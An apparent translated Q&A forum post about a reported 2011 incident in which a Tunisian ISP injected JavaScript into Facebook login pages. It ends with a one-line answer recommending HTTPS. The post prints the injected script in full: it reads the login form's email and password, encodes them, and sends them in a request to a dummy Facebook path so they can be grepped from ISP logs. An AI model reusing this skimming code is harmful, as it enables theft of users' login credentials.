2011-06-30 54 views
2

本頁面聲稱,突尼斯ISP被注入的JavaScript到Facebook頁面的源代碼:JavaScript注入由ISP

http://www.r00ted.com/doku.php?id=injection_tunisie

function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F; 
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;} 
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;} 
function hAAAQ3d() { 
var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 = frm.pass.value; 
var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);} 
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;} 
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");} 
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");} 

根據頁面的用戶wo0dh3ad不存在,但是這將允許在日誌中執行簡單的grep來獲取用戶的密碼(或密碼散列)。

grep wo0dh3ad /var/log/FAI.log 

這實際上可行嗎?如果是這樣,是否有辦法檢測到某個頁面被篡改,只是說某些東西很奇怪,而另一個瀏覽器/連接應該被使用?

回答

2

使用SSL(HTTPS)防止中間人攻擊。